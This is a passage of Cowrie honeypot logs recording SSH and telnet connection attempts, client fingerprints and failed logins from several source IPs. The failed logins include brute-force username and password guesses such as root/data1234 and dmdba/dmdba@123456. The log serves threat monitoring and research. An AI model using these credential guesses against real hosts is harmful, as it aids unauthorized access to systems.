{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":42862,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2dd35486c88","protocol":"ssh","message":"New connection: 111.238.174.6:42862 (10.17.0.5:22) [session: e2dd35486c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:06.864643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:06.868849Z","src_ip":"111.238.174.6","session":"e2dd35486c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:07.053351Z","src_ip":"111.238.174.6","session":"e2dd35486c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"salman","password":"salman@123","message":"login attempt [salman/salman@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:07.813904Z","src_ip":"111.238.174.6","session":"e2dd35486c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:09.000228Z","src_ip":"111.238.174.6","session":"e2dd35486c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":24016,"dst_ip":"10.17.0.5","dst_port":22,"session":"29df90a5af7d","protocol":"ssh","message":"New connection: 123.58.215.196:24016 (10.17.0.5:22) [session: 29df90a5af7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:12.951881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:12.961685Z","src_ip":"123.58.215.196","session":"29df90a5af7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:13.181518Z","src_ip":"123.58.215.196","session":"29df90a5af7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"data1234","message":"login attempt [root/data1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:14.056297Z","src_ip":"123.58.215.196","session":"29df90a5af7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:15.280341Z","src_ip":"123.58.215.196","session":"29df90a5af7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55632,"dst_ip":"159.203.135.109","dst_port":22,"session":"523d7bcdfea0","protocol":"ssh","message":"New connection: 37.233.85.71:55632 (159.203.135.109:22) [session: 523d7bcdfea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:20.733028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:20.737217Z","src_ip":"37.233.85.71","session":"523d7bcdfea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:20.848868Z","src_ip":"37.233.85.71","session":"523d7bcdfea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22041980","message":"login attempt [root/22041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:21.186651Z","src_ip":"37.233.85.71","session":"523d7bcdfea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:22.300544Z","src_ip":"37.233.85.71","session":"523d7bcdfea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.70394206047058,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:59:37.751077Z","src_ip":"128.199.8.54","session":"656c7ee3ab28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":51870,"dst_ip":"159.203.135.109","dst_port":22,"session":"047d0ddd15d3","protocol":"ssh","message":"New connection: 80.66.85.226:51870 (159.203.135.109:22) [session: 047d0ddd15d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:03.562711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:03.568021Z","src_ip":"80.66.85.226","session":"047d0ddd15d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:03.669058Z","src_ip":"80.66.85.226","session":"047d0ddd15d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vesper","message":"login attempt [root/vesper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:03.942887Z","src_ip":"80.66.85.226","session":"047d0ddd15d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:05.037164Z","src_ip":"80.66.85.226","session":"047d0ddd15d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":33536,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b290529a311","protocol":"ssh","message":"New connection: 111.238.174.6:33536 (10.17.0.5:22) [session: 8b290529a311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:07.835286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:07.841154Z","src_ip":"111.238.174.6","session":"8b290529a311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51034,"dst_ip":"159.203.135.109","dst_port":22,"session":"114fd9b85daf","protocol":"ssh","message":"New connection: 2.57.122.238:51034 (159.203.135.109:22) [session: 114fd9b85daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:07.918897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:07.927359Z","src_ip":"2.57.122.238","session":"114fd9b85daf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:08.019556Z","src_ip":"111.238.174.6","session":"8b290529a311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:08.039375Z","src_ip":"2.57.122.238","session":"114fd9b85daf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:08.360105Z","src_ip":"2.57.122.238","session":"114fd9b85daf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123456","message":"login attempt [dmdba/dmdba@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:08.763544Z","src_ip":"111.238.174.6","session":"8b290529a311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:09.468798Z","src_ip":"2.57.122.238","session":"114fd9b85daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:09.943269Z","src_ip":"111.238.174.6","session":"8b290529a311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42230,"dst_ip":"159.203.135.109","dst_port":23,"session":"01cb3c4773eb","protocol":"telnet","message":"New connection: 107.6.151.170:42230 (159.203.135.109:23) [session: 01cb3c4773eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:33.231985Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfb3570ac3d9","protocol":"ssh","message":"New connection: 27.71.230.31:35372 (10.17.0.5:22) [session: cfb3570ac3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:50.558898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:50.611129Z","src_ip":"27.71.230.31","session":"cfb3570ac3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:53.062307Z","src_ip":"27.71.230.31","session":"cfb3570ac3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2020","message":"login attempt [root/User2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:55.537174Z","src_ip":"27.71.230.31","session":"cfb3570ac3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:00:58.040638Z","src_ip":"27.71.230.31","session":"cfb3570ac3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":45636,"dst_ip":"10.17.0.5","dst_port":22,"session":"269e6ca6f99c","protocol":"ssh","message":"New connection: 123.58.215.196:45636 (10.17.0.5:22) [session: 269e6ca6f99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:03.270931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:03.277261Z","src_ip":"123.58.215.196","session":"269e6ca6f99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":47418,"dst_ip":"10.17.0.5","dst_port":22,"session":"2696bf689d0f","protocol":"ssh","message":"New connection: 43.129.44.66:47418 (10.17.0.5:22) [session: 2696bf689d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:03.453027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:03.457941Z","src_ip":"43.129.44.66","session":"2696bf689d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:01:03.498541Z","src_ip":"123.58.215.196","session":"269e6ca6f99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes25